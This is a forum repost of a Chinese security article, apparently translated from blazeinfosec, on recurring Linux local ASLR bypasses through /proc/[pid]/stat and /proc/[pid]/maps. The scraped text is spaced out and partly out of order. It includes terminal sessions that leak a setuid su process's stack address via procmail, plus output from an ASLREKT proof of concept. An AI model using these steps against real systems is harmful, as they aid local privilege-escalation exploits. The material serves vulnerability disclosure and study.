搜索

[15150] 2020-03-19_永远修复不完的Linux本地ASLR漏洞

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2020-03-19_永远修复不完的Linux本地ASLR漏洞 永 远 修 复 不 完 的 L i n u x 本 地 A S L R 漏 洞 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 3 - 1 9 介 绍 介 绍 A S L R ， 应 为 全 称 为 ， 应 为 全 称 为 A d d r e s s   S p a c e   L a y o u t   R a n d o m i z a t i o n ， 即 地 址 空 间 布 局 随 机 化 。 它 是 一 种 概 率 性 安 全 防 御 机 制 ， 由 ， 即 地 址 空 间 布 局 随 机 化 。 它 是 一 种 概 率 性 安 全 防 御 机 制 ， 由 P a X 团 队 于 团 队 于 2 0 0 1 年 正 式 提 出 ， 并 在 年 正 式 提 出 ， 并 在 2 0 0 5 年 开 始 引 入 到 年 开 始 引 入 到 L i n u x 内 核 内 核 之 中 。 之 中 。 A S L R 能 够 在 每 次 运 行 可 执 行 文 件 的 时 候 通 过 基 地 址 随 机 映 射 的 方 式 来 为 其 随 机 分 配 地 址 空 间 。 能 够 在 每 次 运 行 可 执 行 文 件 的 时 候 通 过 基 地 址 随 机 映 射 的 方 式 来 为 其 随 机 分 配 地 址 空 间 。 A S L R 存 在 的 目 的 ， 就 是 为 了 防 止 那 些 需 要 了 解 内 存 地 址 来 利 用 内 存 崩 溃 漏 洞 的 存 在 的 目 的 ， 就 是 为 了 防 止 那 些 需 要 了 解 内 存 地 址 来 利 用 内 存 崩 溃 漏 洞 的 攻 击 行 为 。 攻 击 行 为 。 在 此 之 前 ， 内 存 崩 溃 漏 洞 的 成 功 利 用 需 要 来 了 解 硬 编 码 的 内 存 地 址 ， 以 便 攻 击 者 获 取 到 可 执 行 指 令 的 地 址 并 实 现 任 意 代 码 执 行 ， 或 破 坏 关 键 的 程 序 数 据 。 A S L R 最 初 是 用 来 抵 御 和 防 范 远 程 攻 击 者 的 ， 因 为 攻 击 者 需 要 获 取 到 目 标 设 备 的 内 存 地 址 才 能 执 行 攻 击 ， 那 么 对 于 远 程 攻 击 者 来 说 ， 实 现 掌 握 的 关 于 内 存 地 址 的 信 息 肯 定 不 会 很 多 。 历 史 回 顾 历 史 回 顾 对 于 本 地 攻 击 者 来 说 ， / p r o c / [ p i d ] / 一 直 都 存 在 各 种 问 题 ， 而 且 一 般 都 是 信 息 泄 露 漏 洞 的 主 要 来 源 。 2 0 0 9 年 ， 谷 歌 安 全 团 队 的 T a v i s   O r m a n d y 和 J u l i e n   T i n n e s 曾 在 C a n S e c W e s t 就 L i n u x   A S L R 这 个 话 题 进 行 过 一 次 演 讲 【 P D F 】 ， 并 在 演 讲 中 演 示 了 如 何 通 过 / p r o c / [ p i d ] / s t a t 和 / p r o c / [ p i d ] / w c h a n 来 获 取 目 标 进 程 中 的 指 令 指 针 以 及 堆 栈 指 针 等 信 息 ， 而 这 些 信 息 可 以 帮 助 攻 击 者 重 建 目 标 进 程 的 地 址 空 间 布 局 。 十 年 后 的 2 0 1 9 年 4 月 3 日 ， 一 个 针 对 v 4 . 8 以 下 版 本 L i n u x 内 核 的 漏 洞 利 用 代 码 被 曝 光 ， 而 这 个 漏 洞 同 样 利 用 了 / p r o c / [ p i d ] / s t a t 来 获 取 之 前 提 到 的 指 令 指 针 和 栈 指 针 。 因 为 f s / b i n f m t _ e l f . c 中 的 l o a d _ e l f _ b i n a r y ( ) 调 用 i n s t a l l _ e x e c _ c r e d s ( ) 的 时 机 太 晚 了 ， 可 执 行 文 件 已 经 被 映 射 到 地 址 空 间 ， 然 后 才 设 置 访 问 凭 证 ， 因 此 攻 击 者 将 能 够 绕 过 p t r a c e _ m a y _ a c c e s s ( ) 检 的 查 ， 而 这 个 检 查 机 制 正 是 为 了 修 复 T a v i s 和 J u l i e n 提 出 的 攻 击 而 引 入 的 。 攻 击 者 只 要 在 i n s t a l l _ e x e c _ c r e d s ( ) 调 用 前 使 用 r e a d ( ) 来 读 取 / p r o c / [ p i d ] / s t a t ， 就 可 利 用 这 一 个 竞 争 条 件 漏 洞 了 。 2 0 1 9 年 4 月 2 5 日 ， 就 在 C V E - 2 0 1 9 - 1 1 1 9 0 被 曝 光 之 后 ， S U S E   L i n u x 的 安 全 工 程 师 也 在 O p e n w a l l 的 o s s - s e c 列 表 上 发 布 了 一 个 已 被 修 复 了 的 安 全 问 题 ， 版 本 号 低 于 3 . 1 8 的 内 核 版 本 都 会 受 到 该 漏 洞 的 影 响 。 这 个 漏 洞 是 一 个 A S L R 绕 过 漏 洞 ， 由 于 / p r o c / [ p i d ] / m a p s 伪 文 件 的 权 限 检 查 放 在 了 r e a d ( ) ， 而 不 是 o p e n ( ) ， 这 个 伪 文 件 中 包 含 当 前 映 射 的 内 存 区 域 及 其 访 问 权 限 。 从 v 2 . 6 . 2 2 开 始 ， 如 果 你 无 法 将 p t r a c e ( ) 附 加 到 某 进 程 下 的 话 ， L i n u x 内 核 就 不 允 许 它 读 取 / p r o c / [ p i d ] / m a p s ， 这 也 就 意 味 着 非 特 权 用 户 将 无 法 读 取 映 射 的 伪 文 件 。 正 如 在 o s s - s e c 的 漏 洞 公 告 中 介 绍 的 那 样 ， 权 限 检 查 在 r e a d ( ) 出 执 行 ， 这 里 之 所 以 存 在 安 全 问 题 ， 是 因 为 非 特 权 用 户 可 以 打 开 映 射 文 件 ， 从 中 获 取 到 有 效 的 文 件 描 述 符 ， 然 后 将 其 发 送 给 特 权 程 序 。 例 如 s e t u i d   r o o t ， 而 某 些 特 权 程 序 可 以 以 某 种 方 式 将 文 件 中 的 内 容 泄 露 给 非 特 权 用 户 ， 因 为 特 权 进 程 有 权 限 利 用 r e a d ( ) 函 数 来 读 取 映 射 文 件 。 相 关 的 漏 洞 修 复 方 案 可 以 点 击 【 这 里 】 获 取 。 漏 洞 分 析 漏 洞 分 析 但 是 ， 这 个 修 复 方 案 是 存 在 问 题 的 ， 因 为 还 有 其 他 的 / p r o c / [ p i d ] / 伪 文 件 可 以 泄 露 当 前 映 射 的 内 存 地 址 ， 而 它 们 的 权 限 检 查 仍 然 是 在 r e a d ( ) 处 进 行 的 。 在 这 里 ， 引 发 问 题 的 还 是 / p r o c / [ p i d ] / s t a t 。 $   c a t   / p r o c / s e l f / m a p s 0 0 4 0 0 0 0 0 - 0 0 4 0 c 0 0 0   r - x p   0 0 0 0 0 0 0 0   0 8 : 0 4   3 6 7 0 1 2 2                                                         / b i n / c a t 0 0 6 0 b 0 0 0 - 0 0 6 0 c 0 0 0   r - - p   0 0 0 0 b 0 0 0   0 8 : 0 4   3 6 7 0 1 2 2                                                         / b i n / c a t 0 0 6 0 c 0 0 0 - 0 0 6 0 d 0 0 0   r w - p   0 0 0 0 c 0 0 0   0 8 : 0 4   3 6 7 0 1 2 2                                                         / b i n / c a t 0 2 4 9 6 0 0 0 - 0 2 4 b 7 0 0 0   r w - p   0 0 0 0 0 0 0 0   0 0 : 0 0   0                                                                     [ h e a p ] 7 f 5 0 8 b d 4 b 0 0 0 - 7 f 5 0 8 b e e c 0 0 0   r - x p   0 0 0 0 0 0 0 0   0 8 : 0 4   7 6 0 5 3 5 2                                         / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b c . s o 7 f 5 0 8 b e e c 0 0 0 - 7 f 5 0 8 c 0 e c 0 0 0   - - - p   0 0 1 a 1 0 0 0   0 8 : 0 4   7 6 0 5 3 5 2                                         / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b c . s o 7 f 5 0 8 c 0 e c 0 0 0 - 7 f 5 0 8 c 0 f 0 0 0 0   r - - p   0 0 1 a 1 0 0 0   0 8 : 0 4   7 6 0 5 3 5 2                                         / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b c . s o 7 f 5 0 8 c 0 f 0 0 0 0 - 7 f 5 0 8 c 0 f 2 0 0 0   r w - p   0 0 1 a 5 0 0 0   0 8 : 0 4   7 6 0 5 3 5 2                                         / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b c . s o 7 f 5 0 8 c 0 f 2 0 0 0 - 7 f 5 0 8 c 0 f 6 0 0 0   r w - p   0 0 0 0 0 0 0 0   0 0 : 0 0   0   7 f 5 0 8 c 0 f 6 0 0 0 - 7 f 5 0 8 c 1 1 7 0 0 0   r - x p   0 0 0 0 0 0 0 0   0 8 : 0 4   7 6 0 5 3 4 9                                         / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l d . s o 7 f 5 0 8 c 1 6 4 0 0 0 - 7 f 5 0 8 c 2 e d 0 0 0   r - - p   0 0 0 0 0 0 0 0   0 8 : 0 4   8 0 0 1 2 6                                           / u s r / l i b / l o c a l e / l o c a l e - a r c h i v e 7 f 5 0 8 c 2 e d 0 0 0 - 7 f 5 0 8 c 2 f 0 0 0 0   r w - p   0 0 0 0 0 0 0 0   0 0 : 0 0   0   7 f 5 0 8 c 2 f 2 0 0 0 - 7 f 5 0 8 c 3 1 6 0 0 0   r w - p   0 0 0 0 0 0 0 0   0 0 : 0 0   0   7 f 5 0 8 c 3 1 6 0 0 0 - 7 f 5 0 8 c 3 1 7 0 0 0   r - - p   0 0 0 2 0 0 0 0   0 8 : 0 4   7 6 0 5 3 4 9                                         / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l d . s o 7 f 5 0 8 c 3 1 7 0 0 0 - 7 f 5 0 8 c 3 1 8 0 0 0   r w - p   0 0 0 2 1 0 0 0   0 8 : 0 4   7 6 0 5 3 4 9                                         / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l d . s o 7 f 5 0 8 c 3 1 8 0 0 0 - 7 f 5 0 8 c 3 1 9 0 0 0   r w - p   0 0 0 0 0 0 0 0   0 0 : 0 0   0   7 f f c f 3 4 9 6 0 0 0 - 7 f f c f 3 4 b 7 0 0 0   r w - p   0 0 0 0 0 0 0 0   0 0 : 0 0   0                                                     [ s t a c k ] 7 f f c f 3 5 1 b 0 0 0 - 7 f f c f 3 5 1 e 0 0 0   r - - p   0 0 0 0 0 0 0 0   0 0 : 0 0   0                                                     [ v v a r ] 7 f f c f 3 5 1 e 0 0 0 - 7 f f c f 3 5 1 f 0 0 0   r - x p   0 0 0 0 0 0 0 0   0 0 : 0 0   0                                                     [ v d s o ] f f f f f f f f f f 6 0 0 0 0 0 - f f f f f f f f f f 6 0 1 0 0 0   r - x p   0 0 0 0 0 0 0 0   0 0 : 0 0   0                                     [ v s y s c a l l ] $   s u   & [ 1 ]   2 6 6 1 $   c a t   / p r o c / 2 6 6 1 / m a p s c a t :   / p r o c / 2 6 6 1 / m a p s :   P e r m i s s i o n   d e n i e d $   s u   & [ 1 ]   2 7 6 7 $   l s   - l   / p r o c / 2 7 6 7 / s t a t
但 这 一 次 情 况 的 不 同 之 处 就 在 于 ， 非 特 权 用 户 可 以 在 不 将 p t r a c e ( ) 附 加 到 目 标 进 程 的 情 况 下 读 取 其 所 属 的 / p r o c / [ p i d ] / s t a t ， 但 是 此 时 的 内 存 地 址 字 段 都 被 字 符 “ 0 ” 替 换 了 。 L i n u x   v 5 . 5 中 的 f s / p r o c / a r r a y . c 部 分 代 码 如 下 ： 这 个 漏 洞 的 利 用 方 式 跟 S U S E 的 安 全 工 程 师 在 o s s - s e c 上 发 布 的 一 样 ， 只 不 过 这 种 情 况 下 读 取 的 应 该 是 / p r o c / [ p i d ] / s t a t 。 除 此 之 外 ， 还 有 一 些 其 他 可 能 会 泄 露 内 存 地 址 的 s e t u i d 文 件 ， 其 中 包 括 p r o c m a i l 、 s p i c e - c l i e n t - g l i b - u s b - a c l - h e l p e r 和 s e t u i d   r o o t 。 比 如 说 ， 我 们 下 面 用 p r o c m a i l 来 举 个 例 子 ： 漏 洞 利 用 漏 洞 利 用 我 们 已 将 完 整 的 漏 洞 利 用 P o C - A S L R E K T 发 布 在 了 G i t H u b 上 ， 感 兴 趣 的 用 户 自 行 可 以 下 载 并 测 试 。 A S L R E K T ： 【 传 送 门 】 下 面 给 出 的 是 下 面 给 出 的 是 P o C 的 执 行 情 况 ： 的 执 行 情 况 ： 总 结 总 结 自 从 L i n u x 将 A S L R 引 入 内 核 机 制 以 来 ， 针 对 A S L R 的 本 地 攻 击 一 直 都 未 能 断 绝 ， 毫 无 疑 问 ， 以 后 针 对 A S L R 的 攻 击 也 不 会 减 少 。 L i n u x 的 内 核 开 发 者 们 似 乎 对 / p r o c / [ p i d ] / 的 安 全 问 题 也 缺 乏 一 定 的 认 识 ， 因 此 该 问 题 才 迟 迟 得 不 到 适 当 的 解 决 。 *   参 考 来 源 ： 参 考 来 源 ： b l a z e i n f o s e c ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 $   l s   - l   / p r o c / 2 7 6 7 / s t a t - r - - r - - r - -   1   r o o t   r o o t   0   F e b     4   1 6 : 5 0   / p r o c / 2 7 6 7 / s t a t [ 1 ] +     S t o p p e d                                   s u $   c a t   / p r o c / 2 7 6 7 / s t a t 2 7 6 7   ( s u )   T   2 7 6 6   2 7 6 7   2 7 6 6   3 4 8 1 7   2 7 7 3   1 0 7 7 9 3 6 1 2 8   2 6 6   0   1   0   0   0   0   0   2 0   0   1   0   1 8 1 7 5 9   5 8 2 7 3 7 9 2   8 1 0   1 8 4 4 6 7 4 4 0 7 3 7 0 9 5 5 1 6 1 5   1   1   0   0   0   0   5 2 4 2 8 8   6   0   0   0   0   1 7   1   0   0   6   0   0   0   0   0   0   0   0   0   0 s t a t i c   i n t   d o _ t a s k _ s t a t ( s t r u c t   s e q _ f i l e   * m ,   s t r u c t   p i d _ n a m e s p a c e   * n s ,       s t r u c t   p i d   * p i d ,   s t r u c t   t a s k _ s t r u c t   * t a s k ,   i n t   w h o l e )       { [ . . . ] i n t   p e r m i t t e d ; [ . . . ] p e r m i t t e d   =   p t r a c e _ m a y _ a c c e s s ( t a s k ,   P T R A C E _ M O D E _ R E A D _ F S C R E D S   |   P T R A C E _ M O D E _ N O A U D I T ) ; [ . . . ] s e q _ p u t _ d e c i m a l _ u l l ( m ,   "   " ,   m m   ?   ( p e r m i t t e d   ?   m m - > s t a r t _ c o d e   :   1 )   :   0 ) ; s e q _ p u t _ d e c i m a l _ u l l ( m ,   "   " ,   m m   ?   ( p e r m i t t e d   ?   m m - > e n d _ c o d e   :   1 )   :   0 ) ; s e q _ p u t _ d e c i m a l _ u l l ( m ,   "   " ,   ( p e r m i t t e d   & &   m m )   ?   m m - > s t a r t _ s t a c k   :   0 ) ; [ . . . ] } $   s u   & [ 1 ]   3 1 2 2 $   c u t   - d '   '   - f 5 1   / p r o c / 3 1 2 2 / s t a t 0 [ 1 ] +     S t o p p e d                                   s u $   p r o c m a i l   <   / p r o c / 3 1 2 2 / s t a t $   t a i l   - 2   / v a r / s p o o l / m a i l / u s e r   |   c u t   - d '   '   - f 5 1 1 4 0 7 2 6 2 2 1 8 0 3 5 0 4 $   p r i n t f   ' 0 x % x n '   1 4 0 7 2 6 2 2 1 8 0 3 5 0 4 0 x 7 f f d 6 0 7 6 0 f f 0 #   c a t   / p r o c / 3 1 2 2 / m a p s       [ . . . ]       7 f f d 6 0 7 4 0 0 0 0 - 7 f f d 6 0 7 6 1 0 0 0   r w - p   0 0 0 0 0 0 0 0   0 0 : 0 0   0                                                     [ s t a c k ] $   . / a s l r e k t * * * * *   A S L R E K T   * * * * * P a s s w o r d :   [ + ]   / b i n / s u   . t e x t   i s   a t   0 x 5 6 4 2 1 9 8 6 8 0 0 0 [ + ]   / b i n / s u   h e a p   i s   a t   0 x 5 6 4 2 1 b 6 5 7 0 0 0 [ + ]   / b i n / s u   s t a c k   i s   a t   0 x 7 f f e 7 8 d 7 6 0 0 0 #   c a t   / p r o c / $ ( p i d o f   s u ) / m a p s       5 6 4 2 1 9 8 6 8 0 0 0 - 5 6 4 2 1 9 8 7 1 0 0 0   r - x p   0 0 0 0 0 0 0 0   0 8 : 0 4   3 6 7 4 9 9 6                                         / b i n / s u       [ . . . ]       5 6 4 2 1 b 6 5 7 0 0 0 - 5 6 4 2 1 b 6 7 8 0 0 0   r w - p   0 0 0 0 0 0 0 0   0 0 : 0 0   0                                                     [ h e a p ]       [ . . . ]       7 f f e 7 8 d 7 6 0 0 0 - 7 f f e 7 8 d 9 7 0 0 0   r w - p   0 0 0 0 0 0 0 0   0 0 : 0 0   0                                                     [ s t a c k ]
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理